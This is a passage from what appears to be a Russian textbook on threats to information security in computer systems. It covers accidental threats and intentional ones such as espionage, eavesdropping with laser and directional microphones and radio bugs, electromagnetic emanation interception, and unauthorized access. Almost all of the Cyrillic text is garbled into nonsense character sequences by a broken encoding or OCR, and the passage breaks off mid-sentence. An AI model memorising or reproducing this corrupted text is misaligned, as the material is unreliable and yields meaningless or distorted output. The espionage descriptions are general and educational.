MHOXECTBO OUYEBHUIHBIX DJJIEMEHTAPHBIX CHUTyalluid, TJI€ HaYaIbHYI0 BEPOSITHOCTh
peanu3aly yrpo3bl MOXKHO OMPEICTUTh TOCTATOYHO MPOCTO U TOYHO.
Janee aHanu3MpyeTCs MHOXECTBO OISITH Ke€ D3JIEMEHTapHBIX (DAKTOpOB (MIET aHaIu3
KOMILUIEKCHOM 3allIMIIIEHHOCTH O0OBEKTa U3 BOMPOCHUKA) - KOTOPHIC TaK WM MHAYE BIUSAIOT

Ha 3alIlTUIIICHHOCTD, a 3aTCM ACJIACTCA BBIBO/, 00 UTOTOBBIX PHUCKaAX.

2. 1. OnpenesieHre HCTOYHUKA YIPO3.

B m1060ii MeToniMKe ynpaBieHUs] pUCKaMH HEOOXOUMO UICHTU(PHUIIMPOBATh PUCKH, KAK
BApUAHT — UX COCTABJISIONINE (YTPO3bI U YSI3BUMOCTH).

[enbto cozpanus moboit KC sBisiercst y1oBieTBOpeHre NOTpEOHOCTEN MoIb3oBaTesnel B
CBOEBPEMEHHOM  TIOJIYyYEHHM  JIOCTOBEPHOM  HMHPOpMAaUMM U  COXPAHEHUH €€
KOH(HIeHIHanbHOCTH (mpu  HeoOxoaumoctu). MHbopmarms — sBiaseTcss KOHEYHBIM
«mponykTom notpednenusi» B KC u BricTynaer B BUJie HEHTPaIbHOW KOMIIOHEHTHI CUCTEMBI.
besonacHocth nHopmanuu Ha ypoBHe KC oOecrieunBaroT Takue KOMIIOHEHThI CUCTEMBI Kak
TEXHUYECKUE, MPOrpaMMHBIE CPEJCTBA, OOCIY)XMBAIOIIMIA IEPCOHAN W IOJIb30BATEIH.
[IpyueM »Ta 3amaya JOJDKHA pEHIaThbCS IMyTEM 3allUThl OT BHEIIHMX W BHYTPEHHHUX
HEPa3pCIICHHBIX (HECAaHKIIMOHUPOBAHHBIX) BO3AeHcTBUI. OCOOCHHOCTH B3aWMOJICUCTBUS
KOMITOHEHT 3aKJIFOYAlOTCS B CIEAYIOIIEM. BHEIIHNE BO3IEHCTBHS Yalle BCETO OKA3bIBAIOT
HECAaHKIIMOHUPOBAHHOE BIMSHUE Ha WHQPOPMALMIO TIyTeM BO3JACHCTBUS HA JIpyrue
KOMIIOHEHThl ~ cucteMbl.  Crenyronied  OCOOEHHOCTbIO — SIBISIETCS  BO3MOXHOCTD
HECAHKIIMOHUPOBAHHBIX JEHUCTBUH, BbI3bIBAEMBIX BHYTPEHHUMH MPUYMHAMU, B OTHOILIECHUHU
uH(OpPMAIMU CO CTOPOHBI TEXHUYECKHUX, NPOrPAMMHBIX CPEJICTB, OOCIY>KHBAIOIIETO,

InepcoHaila H MOJIb30BaTEIICH. B 9TOM  3aK/IIIO9acTCd  OCHOBHOC  IIPOTHBOPCUHUC
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B3aMMOJICUCTBHS ATUX KOMIIOHEHT ¢ nHMopmarueit. [Ipudem, oOcmy kuBarommii mepcoHal u
MOJI30BATEIM  MOTYT CO3HATEJIbHO OCYIIECTBJISATh MOMNBITKM HECAHKIIMOHHUPOBAHHOTO
BO3MIelicTBHs Ha mHpopManuo. Takum oOpa3zoMm, obOecriedueHrne 6€30macHOCTH WH(POPMAITIH
B KC pomxHO mpegycMarpuBarh 3allUTy BCEX KOMIIOHEHT OT BHEIIHUX M BHYTPEHHUX
BO3/IecTBUM (Yyrpo3) [4].

Ilon yrposoit 0e3omacHOCTHM HMH(pOPMALMM ITOHUMAETCS MOTEHIMAJIBHO BO3MOYKHOE
coObITHE, TIPOLECC WM SBJICHUE, KOTOpPbIE MOTYT MPUBECTH K YHHUTOXEHHIO, yTpaTe
[EJI0CTHOCTH, KOHGUAECHIIMATHLHOCTH UK JOCTYITHOCTH HH(POPMAILIUH.

Bce MHOXkeCTBO MOTEHUMAIBHBIX yrpo3 Oe3onacHocTd uHpopmanuu B KC mMoxkeT ObITh

paszesieHo Ha JiBa kiacca (puc. 10).

Vrpo3sl 6e3onacHocT MHdopmauuu B KC

/\

CrnyyaiiHble yrposbl

[MpenHamepeHHbie Yrposbl

Ctuxuiinbie OencTeus
¥ aBapuu

Tpannunonbih
WHOHAXK ¥ AUBEPCHU

C60# ¥ OTKa3b!
TEXHHYECKHX CPEACTB

HecankunoHHpOBaHHbIH
A0CTYI K HHpOpMaLnH

Ownbku npu DNeKTPOMarHuTHblie
pazpabotke KC W3/ YeHHA 1 HABOIKH
ANropMTMHYECKHE Hecanku1oHHpoBaHHas

¥ MporpamMMHbie olMbKH

MOAUpUKaLMS CTPYKTYP

Ouwndxu nosk3osareneil u
00cayKHMBaAIOLLETO Mepco-
Hana

Bpenutenbckue
NporpaMMmbt

Puc. 10. Yrpo3s! 6e30macHocTr HHOOPMAITUN B KOMITBIOTEPHBIX CHCTEMAax
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CayuaiiHnbie yrpo3bl

VYTrpo3bl, KOTOpbIE HE CBSI3aHbl C MIPEIHAMEPEHHBIMU JIEUCTBUAMHU 3JI0YMBIIIJICHHUKOB U
peanu3yrTcs B CIy4ailHble MOMEHTBI BPEMEHH, HAa3bIBAKOT  CAYYAUHBIMU  WIH
HenpeoHamepeHHbIMU.

Peanuzanus yrpo3 3Toro kiacca NpUBOAMT K HauOONBIIUM MOTEPSIM HHpopManuu (1o
CTaTHUCTUYECKUM JaHHBIM - 710 80% ot ymepba, HaHOCUMOTO HUH(DOPMALIMOHHBIM pecypcam
KC mo0piMu yrposamu). Ilpy 3TOM MOTYyT NpPOMCXOIUTH YHUUTOXKEHHE, HapyIICHUE
LEJIOCTHOCTH M JOCTYNHOCTH HH(popmanuu. Pexe Hapymaercs KOH(QUICHIMAIBHOCTD
uH(pOpMaIMK, OJIHAKO TMPU OSTOM CO3JAKOTCA MPEANOCBUIKM JUISl  3J0YMBIIUIEHHOTO
BO3/ICICTBUS Ha MH(OPMALIHUIO.

Cmuxutinble  Oedcmeusi U  aeapuu  4YpeBaTbl  Haubojee  pa3pylIUTEIbHBIMU

nocinencteusmu i KC, T.K. MocienHHe MOABEPraroTcs (PU3NYECKOMY pa3pyLIeHUIO,
uHpOpMalUsl yTpauuBaeTCs WM JOCTYI K HEM CTAaHOBUTCSI HEBO3MOXKEH.
Cbou u omka3zwvl CIOXKHBIX CUCTEM Hen30exHbl. B pe3ynpTaTe cO0EB M OTKA30B HapyLIaeTCs
paboTOCIIOCOOHOCTh TEXHUYECKUX CPEICTB, YHHUTOXKAIOTCS M MCKAXAIOTCS JaHHBIE U
IpPOrpamMMbl, HapylIaeTcsi airOpuT™M paboThl ycTpoilcTB. Hapylienus anroputMoB paboThI
OT JENbHBIX Y3JI0B W YCTPOMCTB MOILYT TaKXe NPHUBECTH K  HAPYIICHHUIO
KoH(uneHnuanpHocTH uHpopmanuu. Hampumep, cOom U OTKa3bl CPEACTB BBIIAYU
uHGOpPMAIIMU MOTYT TPUBECTH K HECAaHKIMOHHUPOBAHHOMY JOCTYMY K WH(OpMALUU MyTEM
HECaHKIIMOHUPOBAHHOM €€ BblJauu B KaHaJ CBsI3H, Ha MeYaTarollee yCTPOUCTBO | T. I.

Ouwiubku npu paspabomre KC, aneopummuyeckue u npocpammHvle OIINOKU MPUBOJAAT K
NOCJIEICTBUSIM, AHAJIOTHYHBIM MOCIEACTBUSAM COOEB M OTKAa30B TEXHUYECKUX CPENCTB.
Kpome Toro, Ttakme OmHOKM MOTYT OBITH HCIHOJB30BaHbl 3JOYMBIIUICHHUKAMHU IS
Bo3eiicTBUs Ha pecypebl KC. Oco0yro omnmacHOCTh MPEACTaBISIOT OMMOKH B ONEpaIliOHHBIX
cucteMax (OC) 1 B IpOrpaMMHBIX CPEJICTBAX 3alIUThl UHPOPMALIUU.

Cormacno nmansbiM HanumonansHoro Muctutyra CranmaproB u Texnosormii CIIA
(NIST) 65% cnyyaeB HapylieHus: 0€30MaCHOCTH MH(POPMALIUU MPOUCXOJUT B PE3yJIbTATE
owuboK nonvsoeameneu u 0oOCayHcusaroueco nepconana. HexkomnereHTHOe, HEOPEKHOE WIIH

HCBHHUMATCJIBHOC BBIIIOJIHCHHC (bYHKHHOHaHBHBIX 00s13aHHOCTEMN COTPYAHUKAMHU ITPUBOJAT K
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YHUUTOKEHHUIO, HAPYIICHHUIO I[EJIOCTHOCTH M KOH(PUACHINAILHOCTH WH(POPMAIIUH, a TaKXKe
KOMIIPOMETAIUU MEXaHU3MOB 3aIUTHI.

Xapakrepusys yrpo3sl uHpopmammu B KC, He cBsizaHHbIE C MpeIHAMEPEHHBIMU
JNEUCTBUSMH, B LEJIOM, CIEAyeT OTMETUTh, YTO MEXAHU3M MX peanu3aluyd HU3y4yeH
JIOCTATOYHO XOPOILO, HAKOIUIEH 3HAYUTEIBHBIM ONBIT IPOTUBOACUCTBUS ITUM YIPO3aM.
CoBpeMeHHasi TEXHOJOTUSI Pa3pabOTKU TEXHUYECKUX M TPOTPAMMHBIX CpPEICTB, 3¢¢ek-
TuBHas cucrema oHkciuryatanuun KC, Bxiarowaromass o0s3aTebHOE PE3epBUPOBAHUE
uHpOpMallMM, TO3BOJISIOT 3HAUYUTEIBHO CHU3MUTH IMOTEPU OT peaU3allMd YIrpo3 3TOro

KJ1acca.

IIpennamepeHnHbie yrpo3bl

Bropoit knacc yrpo3 6e3zomacHoctu uHbopmanuu B KC cocTaBigioT npegHaMepeHHO
co3/laBaeMble yrpo3bl. JlaHHBIA KJacc yrpo3 M3y4€H HEAOCTATOYHO, OYEHb THUHAMUYEH U
MOCTOSTHHO TIOTIOJIHSIETCSI HOBBIMU yTPO3aMH. YTPO3bl ATOTO KJlacca B COOTBETCTBUU C UX
(bu3MYeCKO CYIIHOCTHI0O U MEXaHU3MaMHU peain3allii MOTYT ObITh PaCIpEICNICHbI 10 MATH
rpymnmam:
- TPAJIULIIMOHHBINA UM YHUBEPCAJIbHBIN IIMUOHAXK U JTUBEPCUH;
- HECAHKITMOHUPOBAHHBIN JOCTYN K HH(MOPMAITNH;
- 9JICKTPOMATrHUTHBIC U3TyUYCHUS U HABOJIKH;
- mogudukarms ctpykryp KC;

- BPEAUTEIIBCKUE ITPOTPAMMBL.

TpaauuMOHHBIN IIMMOHAXK U AMBEPCUU

B kadecTBe MCTOYHMKOB HEXKENATEILHOIO BO3JCUCTBUS HAa WMH(OPMAIIMOHHBIE PECYPCHI
MO-TIPE)KHEMY aKTyaJlbHbl METOJbl WU CpPEACTBa IINMHOHAXXa W JUBEPCUH, KOTOPHIC
WCIIOJIb30BAICh U HWCIIONB3YIOTCA MJIs JTOOBIBAaHHS WM YHHUYTOXKEHHUS WH(OpMaIuu Ha
o0bekTax, He uMmeromux KC. OTu MeTonbl Takke AeicTBeHHBI U 3G ()EKTUBHBI B YCIOBUIX
IIPUMEHEHUSI KOMIIBIOTEPHBIX CHUCTEM. Yalne BCEro OHM HCHOJB3YIOTCS I IOIYyYECHUS

CBEJCHUM O CHUCTEME 3allUThI C 1ieJibl0 MpoHuKHOBEeHUs B KC, a Takxe M XUIIEHUS U
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YHUYTOXEHUS WH()OPMAITMOHHBIX PECYPCOB.

K mMeTonam mmuoHaxa U IMBEPCUN OTHOCSTCSA:

- IOJICTTYIIINBAHHUE;

- BU3yaJbHOE HAOJIO/ICHUE;

- XUIIEHUE TOKYMEHTOB U MallIMHHBIX HOCUTENEeH HHPOpMaInK;
- XUIIICHUE TIPOTPaMM U aTPUOYTOB CUCTEMBI 3aIIUTHI;

- IOJIKYT U IIAHTAaXX COTPYAHUKOB;

- c0Op ¥ aHaJIM3 OTXOA0B MAIIMHHBIX HOCUTENEH NHPOpMALINH;
- TIOJI’KOT'H;

- B3pBIBBI.

s noocnywueanusi 3M0YMBINIUICHHUKY HE 00s3aTEIbHO MPOHUKATh Ha OOBEKT.
CoBpeMeHHBIE CpPEeICTBA MO3BOJIAIOT MOJCTYIIMBATH PA3rOBOPHI C PACCTOSHUS HECKOJIbKUX
coTeH MeTpoB. Tak mnponuia HUCHOBITAHWS CHUCTEMAa MOACITYLIMBAHUS, IO3BOJISIONMIAS C
paccrosauss 1 kM (uUKCHpPOBATH PA3roBOp B TOMEIICHUM C 3aKPHITBIMM OKHaMmH. B
TOPOACKHX YCJIOBHUSAX JAJbHOCTh JIEUCTBUS YCTPOMCTBA COKPAIIAETCA 10 COTEH U JIECSITKOB
METpPOB B 3aBUCUMOCTU OT YpOBHSI (poHOBOTrO miyma. [IpuHIUN NEMCTBUS TaKUX YCTPOUCTB
OCHOBaH Ha aHaJM3€ OTPaKECHHOrO Jyya Jlazepa OT CTEKJa OKHAa IMOMEIIEHUS, KOTOpoe
KOJIeOJeTCss OT 3BYKOBBIX BOJH. KoyieO0aHWS OKOHHBIX CTEKOJ OT aKyCTHYECKHX BOJIH B
MOMEIIEHUH MOTYT CHUMAThCSI M TEePEaBaThCsl HA PACCTOSIHUSL C TTOMOIIBIO CIIEIMAIBHBIX
YCTPOMCTB, VYKPEIJICHHBIX Ha OKOHHOM CTekje. Takwe ycTpolcTBa mpeoOpasyroT
MEXaHUYECKHE KOJIeOaHUsI CTEKOJ B DJICKTPUYECKUIN CUTHAN C TIOCIEAYIONIEH nepeayeii ero
Mo paavokaHaidy. BHe mMoMemeHuidl  MNoJCHyIIMBaHME  BEACTCS C  MOMOIIbBIO
CBEPXYYBCTBHUTEIIbHBIX HaIlPaBJICHHBIX MUKPO(DOHOB. PeansHoe paccTosiHue
MOACITYIIMBAHUS C MIOMOIIBI0 HAIIpaBJIeHHBIX MUKPO(hOoHOB cocTapiisieT 50-100 meTpoB.

Pa3roBopsl B coceHUX MOMENIECHUSAX, 32 CTEHAMHU 3JJaHUN MOTYT KOHTPOJIMPOBATHCS C
MOMOIIIBI0  CTETOCKOMHBIX MHUKPOGOHOB. (CTETOCKOIMBI TPEeoO0pa3yroT aKyCTUYECKHE
KoJiebaHusl B dJeKTpuueckue. Takue MUKPO(DOHBI MO3BOJSIOT MPOCTYIIUBATH Pa3rOBOPHI
npu tonmuue cteH 10 50-100 cm. Cbhem nHDOpMAIIUU MOKET OCYIIECTBIISTHCS TaKKE U CO

CTEKOJI, METAITIOKOHCTPYKIIUN 3TaHHH, TPYO BOAOCHAOKEHUS U OTOILICHUS.
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AynuoundopManus MOXKET OBITh TMOJydeHa TaKKe IMYyTeM BBICOKOYACTOTHOTO
HaBs3bIBaHUA. CyTh 3TOrO0 METOJA 3aKJIKOYaeTCd B BO3IACHCTBUU BBICOKOYACTOTHBIM
AJIEKTPOMATrHUTHBIM TIOJIEM WJIM DJICKTPUUECKUMHU CUTHAJIAMH Ha 3JIEMEHTHI, CTIOCOOHBIC
MOJIyJIMPOBATH 3TH IOJISA, WA CUTHAJIBI JJEKTPUUECKUMU WUJIM aKyCTUYECKUMU CUTHAJIaMHU C
pedeBoil nHdopmaruei. B kadecTBe TakuX 3JIEMEHTOB MOTYT UCIIOJIb30BAaThCA PA3THUHbIC
MOJIOCTH C AJIEKTPONPOBOIHON MOBEPXHOCTHIO, MIPECTABIIAIONIEH COO0M BHICOKOYACTOTHBIN
KOHTYp C paclpe/IeICHHbIMH ITapaMeTpaMu, KOTOPbIE MEHSIOTCS MOJI JEHCTBUEM aKyCTHYE-
CKkuX BOJH. lIpy coBmageHWHM 4YacTOTBI TAKOrO KOHTypa € YacTOTOM BBICOKOYACTOTHOTO
HAaBSI3bIBAHUS W MPU HAUIMYUU BO3JCHCTBUS aKyCTUYECKHUX BOJH Ha MOBEPXHOCTH IMOJOCTH
KOHTYp Mepeu3IydacT U MOJYJUPYET BHEIIHEE MoJie (BRICOKOYACTOTHBINA SIEKTPUUCCKUN
cur"ai). Yaiue BCero 3TOT METOJ MPOCIYIIMBAHUS PEATU3YyETCs C MOMOIIbIO Teae()OHHOM
auHuu. Ilpy »>TOM B KadecTBe MOIYJUPYIOIIETO 3JE€MEHTa HMCIHOJb3YyeTcs Teae(OHHBIHI
anmapar, Ha KOTOpbIi 1o TenedOHHBIM MPOBOJIAaM IMOAACTCS  BBICOKOYACTOTHBIN
IIEKTPUYECKUI CUrHall. HenmHelHble 371eMeHThI TeIeQOHHOIO armapara moj Bo3AeicTBUEM
pEUeBOrO0  CUTHajla  MOAYJIMPYIOT  BBICOKOYACTOTHBIM  CHUTHAIL.  MOZYyJIMpPOBaHHBIN
BBICOKOYACTOTHBIN CUTHAT MOKET OBbITh JIEMOYJMPOBAH B MPUEMHHUKE 3JI0YMBIILJICHHUKA.

OnHuM U3 BO3MOXHBIX KaHaJIOB YTEYKU 3BYKOBOM HWHMOpMaMM MOXKET OBITh
IIPOCIYIIMBAHUE IIEPETOBOPOB, BEAYIINXCS C MOMOIIBIO CPEeACTB CBsI3U. KoOHTponupoBaThCs
MOTYT Kak IMPOBOJHBIC KaHAJbI CBSI3U, TaK M paauokaHaiel. [IpocimymmBanue neperoBopon
MO MPOBOJIHBIM M paJrioKaHajgaM He TPeOyeT IOPOrocTosAIero o00OpyI0BaHUS U BBICOKOU
KBTM(PUKALIUU 3JI0yMBIIIIICHHUKA.

Jucmanyuonnas euodeopazeeoxka nns nonydeHuss uHpopmauuu B KC manonpurogHa u
HOCHUT, KaK IIPaBUJIO, BCIIOMOTaTEJIbHBIN XapakTep.

Buneopa3senka opraHu3yeTcss B OCHOBHOM JUIsl BBISIBICHHUS PEXUMOB pPabOTHl U
pacCIooKEeHUsT MeXaHu3MOB 3amuThl uHpopmaruu. M3 KC undopmanus peaibHO MOXKET
OBITH TIOJTyY€HA TIPU UCIIOJIb30BAHUU Ha 00BEKTE IKPAHOB, Ta0JIO, TIAKATOB, €CIM UMEIOTCS
IpOo3payHble OKHA M TIEPEUMCIICHHBIE BBIIIE CPEACTBA pa3MelleHbl 0e3 yuera HeoO0-
XOAUMOCTHU IPOTUBOICUCTBOBATh TAKOM YIPO3€.

BHI[COpaBBeI[Ka MOJKCT BCCTHCH C HCIIOJIB30BAHHCM TCXHHYCCKHX CPCIACTB, TAKHX KaK
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ontuyeckue mpuOopbl, ¢GoTO-, KUHO- U TeJeammapaTypa. MHOTHME U3 STHUX CPEACTB
JOMYCKAIOT KOHCEpBAlMIO (3allOMUHAHKWE) BHUJICOMH(OpPMAIMK, a TaKXKe Iepefady ee Ha
ONpEEICHHBIE PACCTOSIHUS.

B mpecce nosiBunuck coobmenus o cozmannu B CIIIA moOumbHOTO MHKpopoOOTa s
BEJICHUs JAUCTAHIIMOHHOW pa3Benku. [Ibe3okepamuueckuii podOT pazMepoM OKOJIO 7 CM U
Maccoit 60 T cocoOeH CaMOCTOSATEIHLHO TIEPEIBUTATHCSA €O CKOPOCThiO 30 cM/c B TeueHue 45
MHUH. 32 3TO BpeMsl «MUKPOPA3BEIUHK» CIIOCOOEH MpeoaosieTh paccrosinue B 810 mMeTpoB,
OCYIIECTBIISIE TPAHCIIOPTUPOBKY 28 T MOJE3HOTO rpy3a (s CPaBHEHMSI - KOMMeEpYecKas
MUKpOBHUJIEOKaMepa Becut 15 r).

Jlis BepOOBKM COTPYJHUKOB M (pU3NYECKOro YHUUTOXEHHs 00bekToB KC Takxke He
00513aT€JIbHO UMETh HEMOCPEJCTBEHHBIM JOCTYI Ha OOBEKT. 3JOYMBIIIJICHHUK, UMEIOITUI
noctyn Ha o0bekT KC, MOXeT HCInonb30BaTh JHOOOW W3 METOAOB TPaJULIMOHHOTO
LIITMOHAXKA.

370yMBINUICHHUKAMH, HUMEIOIMMUA  JOCTYyIl Ha OOBEKT, MOIYT HCIIOJIb30BaTHCA
MUHHUATIOpHbIE cpeacTBa (oTorpadupoBanus, BUAEO - U ayauoszanucu. Jus ayauo- u
BUJICOKOHTPOJISI TOMENIEHUH W TpU OTCYTCTBMM B HHUX 3JIOYMBIIUIEHHUKAa MOTYT
UCIIOJI30BAThCSl 3aKJIaJHblE YCTpOMCTBA WM <Kyukw». [ oobexkroB KC Haumboiee
BEPOATHBIMH  SIBJISIIOTCSA  3aKJaJHbIE YCTPOMCTBA, OOECleYUBAIOUINE MPOCITYIIMBaHUE
IIOMEIIEHNN. 3aKJIaJHble YCTPOKCTBA JAENATCA Ha MPOBOAHBIE M M3iydaromue. 1IpoBoaHbIe
3aKJIaJHble YCTpPOWCTBAa TPeOYIOT 3HAUMTENBHOIO BPEMEHM HA YCTAaHOBKY U HMEIOT
CYLIECTBEHHBIM JEMAaCKUPYIOIIUMKA TMPU3HAK - [OpoBoaa. Mzmywaromume «3akiagku»
(«paano3aknaakmn») OBICTPO YCTAaHABIMBAIOTCS, HO TAaKXKE HMMEIOT IEMACKUPYIOLIUN MpU
3HaK - M3JIy4EHHE B pAJM0 WM ONTUYECKOM JHanasoHe. «Paauo3akiiagkmw» MOryT
UCIOJIb30BaTh B KAYECTBE UCTOYHUKA DJIEKTPUUECKUE CUTHAIIBI WIIM aKyCTUYECKUE CUTHAJIBI.
[IpumMepoM HCIIONB30BAHUS DJIEKTPUUYECKUX CHUTHAJIOB B KayeCTBE HMCTOYHMKA SIBISIETCS
MpPUMEHEHNE CUTHAJIOB BHYTPEHHEUW TenedOoHHOM, TpOMKOTOBOpsIIel cBs3u. Hanbosnbiee
pacnpocTpaHEHUE TMOJYYUIM aKyCTUYeCKHe «paauo3akiaakuy». OHU  BOCIPUHHUMAIOT
aKyCTUYECKUN CHUTHaJl, NpeoOpa3yloT €ro B JJIEKTPUYECKUH U TEepelalT B BHUJE

paariocurHaia Ha TalbHOCTh 10 8 KM. M3 mpuMeHsIeMbIX Ha MPAKTHKE «PaTn03aKIaI0K» T0-
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nasisiroriee OonbIMHCTBO (0K0s10 90%) paccunTanbl Ha paboOTy B JUAna3oOHE PAaCCTOSHHIMA
50 - 800 meTpoB.

Hns  HekoTopelx 00bekTOoB KC CyllecTByeT yepoza 600pyiceHno2o HanaoeHus
meppopucmudeckux uiu ousepcuoHusix pynn. IIpu 3ToM MOryT OBITH IPUMEHEHBI CPE/ICTBA

OTHCBOI'O IOPAXKCHUAI.

HecaHKIMOHUPOBAHHBIN 10CTYI K HHPOpMaLIMKU

TepMuH «HecaHKIMOHUPOBaHHBIM Aoctyn k uHpopmauum» (HCIAW) ompenenen kak
JOCTYI K MH(OPMaIIUK, HAPYILIAIOIINNA MpaBUIia pa3rpaHUYEHUs IOCTYIIA C UCTIOJIb30BAHUEM
HITATHBIX CPEJICTB BRIYUCIUTEIIBHON TEXHUKU UM ABTOMATU3UPOBAHHBIX CUCTEM.

Ilon mnpaBunamu pasrpaHUYECHUs] JOCTyNAa ITOHUMAETCS COBOKYIHOCTH IIOJIOKEHUU,
periaMeHTUPYIOUIUX IpaBa JOCTYIA JIMI UK MPOLECcCOB (CyObEKTOB AOCTyNA) K €AMHUIIAM
uHdopmaiuu (00BEKTaM JOCTYTIA).

IIpaBo noctymna k pecypcam KC omnpenensiercss pykOBOJACTBOM ISl KaKJIOTO COTPYAHUKA
B COOTBETCTBUU C €ro (QYHKIIMOHAIBHBIMEU 00s3aHHOCTSIMU. [Iponiecch! nnuuupyotcs B KC
B HMHTEpPECAX OMPEACICHHBIX JIMI], MO3TOMY U Ha HUX HAKJIAAbIBAIOTCS OTPAHUYCHUSA 10
JNOCTYIY K pecypcam.

BrinosiHeHre yCTaHOBIIEHHBIX MpaBui pasrpanuueHust noctyna B KC peanusyercs 3a
CYET CO3/laHusl cucTeMbl pazrpanudenus ngoctyna (CPI).

HecanknmonnpoBanubiii 10cTyn K WHGOPMAIMK BO3MOXEH TOJIBKO C HCIOJIb30BAaHUEM
HITATHBIX anfapaTHBIX U MPOTPAMMHBIX CPEJCTB B CIECAYIOMIMNX CIyqasX:
- OTCYTCTBYET CHUCTEMA Pa3rpaHUYEHUs TOCTYTA;
- cooit mum otka3s B KC;
-OIMOOYHbIE JIEUCTBHS TOJIb30BaTeNIed UM OOCTYKMBAIOLIETO MEPCOHATIAKOMITBIOTEPHBIX
CHCTEM;
- omOku B CP/I;
- (pasibcupukanys MOTHOMOYMH.
Ecmu CPJl oTcyTCcTBYET, TO 37TOYMBIIIUICHHHUK, UMEIOITNI HaBBIKK paboThl B KC, Moxer

MOJIYYUTh O€3 OrpaHMuYeHUN MOCTyNm K 000 mHbopmaruu. B pesynbrare cOoeB uim
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orka3oB cpencts KC, a Takke OmMOOUYHBIX OEHCTBUII OOCTYXHBAIOLIETO MEpCOHANa U
MOJIb30BATENIC BO3MOXHBI COCTOSHUSI CHUCTEMBI, IpU KOTOpbIX ympomaercs HCIU.
310yMBIIUICHHUK MOKeT BbIIBUTH ommOkn B CPJl m wmcmonws3oBath ux s HCJIU.

danbcuduKkanys TOJTHOMOYNN SIBISETCS OAHUM W3 HambOoJee BEPOSTHBIX MyTel (KaHAJIOB)

HCJIN.

JJIEKTPOMATHUTHBIE U3JIyYCHHUS U HABOAKHU

[Ipoutecc 00paboTkm u mepemaun uHPOpMANMU TexHUYecKuMU cpeactBamu  KC
CONPOBOXKAAETCS AJIEKTPOMArHUTHBIMU H3JIyYCHHMSIMU B OKPYJKAIOIIEE NPOCTPAHCTBO M
HABEJICHUEM DJJIEKTPUUECKUX CUTHAJIOB B JIMHUSX CBS3W, CUTHAJIU3AlMH, 3a3€MIICHUHM U
JIpYrux MpoBoJHUKaX. OHU MOJYyYUIIM HA3BAHUS NOOOUHBIX INEKMPOMASHUMMHBIX UTYUEHULL
u Haeoook (I[ISMHUH). C noMoIIbl0 CIEIMAIBHOTO 000PY/I0BaHUSI CUTHAIBI TPUHUMAIOTCS,
BBIAICIISIIOTCS,, YCHJIMBAIOTCS W MOTYT JIMOO NpPOCMAaTpUBAThCA, JMOO 3alHMCHIBATHCS B
3aoMUHAIONMX ycTpoiicTBax. Haubonbimuii ypoBeHb aseKTpoMaruHutHoro uainydenus B KC
IpUCyLl padOTalOUMM YCTPOMCTBaAM OTOOpa)keHuss MH(GOPMAIMU HA 3IEKTPOHHO-TYUYEBbIX
TpyOkax. CoaepkaHue 3KpaHa TaKOTO YCTPOWCTBA MOKET MPOCMAaTPUBATBHCS C MOMOILBIO
OOBIYHOTO TEJIEBU3MOHHOTO MPUEMHUKA, JOMOJTHEHHOTO HECIOKHOW CXEeMOW, OCHOBHOM
(GyHKUIMENW KOTOPOH ABJISIETCS CUHXPOHU3AIMS CUTHAIOB. JlalbHOCTh YIOBIETBOPUTEIHLHOTO
IpyUeMa TAKUX CUTHAJIOB MPU UCIIOJIB30BAHUU JAUIOJIBHON aHTEHHBI cocTaBiseT 50 METpOB.
Hcnonb30BaHME HAIMPaBICHHOW AHTEHHbl MPUEMHHMKA IIO3BOJIAET YBEIUYUTh 30HY
YBEPEHHOr0 MpuemMa curHaioB 10 1 kM. BoccTaHoBIEeHUE TaHHBIX BO3MOXKHO TaKKe MyTEM
aHaJlM3a CUTHAJIOB M3JyYEHUS! HEOKPAHUPOBAHHOTO 3JEKTPUUYECKOTO KalOessl Ha pacCTOSIHUU
10 300 meTpos.

HaBeneHHble B NIPOBOJHUKAX DJEKTPUUYECKUE CHUTHAIBI MOTYT BBIJICTSATBCA WU
(¢uKcHpOBaTbCA C MOMOIIBI0 00OPYAOBAHUS, MOAKIIOYAEMOT0 K 3THUM MPOBOJHUKAM Ha
pacCTOSTHUM B COTHM METPOB OT MCTOYHMKA curHanoB. Jlns noObiBaHus MHGOpMALMH
3JI0YMBINTUICHHUK MOYKET HCIIOJIh30BaTh TAKKE «IIPOCAYMBaHNE» WH()OPMAIMOHHBIX CHUTHA-

JIOB B ICIIN SJICKTPOIIMTAHUA TCXHUYCCKHUX CPCIACTB KC.
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«IIpocaunBanne» MHPOPMAIMOHHBIX CUTHAJIIOB B IIEMHU DJIEKTPOIMUTAHUS BO3MOXKHO
OpyU HAJIMYUU MarHUTHOW CBSA3UM MEXIY BBIXOAHBIM TpaHCHOPMATOPOM YCUIIUTENS U
TpaHcHOPMATOPOM BBIPSMUTENBHOTO ycTpocTBa. «[IpocaunBanue» Takke BO3ZMOXKHO 3a
CUET TMAaJICHUSI HAIpPSOKEHHUS] HA BHYTPEHHEM CONPOTHUBJICHWM HMCTOYHUKA TUTAHUS MPHU
MPOXOXKJIEHUH TOKOB YCWJIMBAaeMbIX HMH(POPMAIMOHHBIX CUTHajIoB. Eciu 3aTyxaHue B
GbuUIBTpPE BBIIPSIMUTEIHHOTO YCTPONCTBA HEAOCTATOYHO, TO HWH(POPMAIMOHHBIC CHUTHAJBI
MOTYT ObITh OOHapy>KeHbl B 1lenu nuTaHus. MHbopMaIMoHHbI CUTHAI MOXKET OBITh BBbI-
JIeJIeH B LIETIA MTUTAHUs 32 CYET 3aBUCMMOCTH 3HAYEHUH MOTPeOIsieMOro TOKka B OKOHEUHbIX
Kackajnax ycuiaurenen (MH(QOpMalOHHbIE CUTHAJIBI) U 3HAYCHUI TOKOB B BBINPSIMUTENSX, a
3HAYUT U B BBIXOJIHBIX LEIAX.

DNEeKTPOMarHUTHBIE W3JIyYEHHSI MCIOJIb3YIOTCS 3JIOYMBIIIJIEHHUKAMU HE TOJBKO MJIs
nojyyeHus: uHGOpMalMK, HO U Ui €€ YHUUYTOXKEHHUS. DJEKTPOMArHUTHBIC HUMITYJIbChI
CIIOCOOHBI ~ YHHUYTOXUTh  WH(OpMAIMIO HAa  MArHUTHBIX  HOCUTENSAX.  MOIIHbIE
AJIEKTPOMArHUTHBIE M CBEPXBBICOKOYACTOTHBIC U3IIYYEHUS MOTYT BBIBECTH M3 CTPOS AJICK-
tponnbie 650k KC. [Ipuuem mis yHU4TORKEHUST MHGOPMAIIMM Ha MarHUTHBIX HOCUTETISX C
pacCTOSTHUSI HECKOJIBKMX JIECATKOB METPOB MOKET OBbITh MCIOJB30BaHO YCTPOMCTBO,

noMeniarolieecs: B nopTders.

HecankuuoHupoBaHHasi MOAU(PUKALUA CTPYKTYP

bonbmyto yIpo3y 0e301macHOCTH nHpopMaru B KC MpEeJCTaBISET
